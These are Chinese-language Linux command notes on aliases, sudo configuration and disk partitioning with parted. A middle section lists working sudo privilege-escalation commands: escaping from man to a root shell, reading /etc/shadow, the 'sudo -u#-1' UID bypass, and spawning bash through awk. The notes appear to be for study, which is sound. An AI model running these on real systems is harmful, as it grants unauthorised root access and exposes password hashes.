ll #是ls -l的別名命令。列出當前目錄內容
ls #是ls -l --color=auto的別名命令,每次列出文件的時候會有顏色提示。
alias #列出系統中所有的別名命令
alias grep=’grep --color’ #建立別名,即自定義別名。以後用grep命令會自動調用別名
cd #返回家目錄
vim ~/.bashrc #記錄當前用戶登錄bash時運行的腳本,只對當前用戶有效,其內有別名rm、cp、mv。~爲用戶的家目錄位置,如/root、/home/lzd。.表示隱藏文件。
visudo #編輯sudo提權配置文件
su - wencoll
sudo init 6 #不能直接運行命令(init 6),通過sudo運行init6,但是要確認wencoll用戶的密碼,前提用戶必須有密碼。
sudo -l #列出我具有哪些提權命令,非root用戶需要本用戶密碼
sudo man ls #打開新界面後,(1)輸入!bash,!表示調用Linux命令,bash表示打開命令解釋器。這時是以root身份打開終端。(2)輸入!cat /etc/shadow,就可以以root身份查看shadow文件。
sudo -u#0 whoami #強制以root用戶身份運行whoami,無權限。報錯,不允許以root身份運行
sudo -u#600 whoami #但是以lzd身份運行whoami正常。由於lzd的uid爲600,輸入該命令後,就是以lzd身份運行whami命令。
sudo -u#-1 whoami #-1爲異常的uid號,會被誤認爲是一個用戶,然後調用他,再驗證,由於沒有該用戶,就會被誤認爲root用戶。
sudo -u#-1 man ls #可以使用man幫助進行提權。以root用戶運行man命令
sudo -u #-1 awk ‘BEGIN{system(“/bin/bash”)}’ #通過awk調用bash命令解釋器,從而提權
ll /devsdb #查看第二塊硬盤的詳細信息
cat /proc/partitions #查看系統中的分區列表
parted /dev/sdb #利用分區工具parted操作磁盤sdb
help #列出可以輸入的命令字
print #列出當前磁盤的分區表信息
mklabel gpt #指定分區表類型爲gpt
mkpart primary 1M 100M #建立第一個分區,100M大小
mkpart primary 100M 200M #建立第二個分區,100M大小
rm 編號 #刪除第幾個分區
quit #保存並退出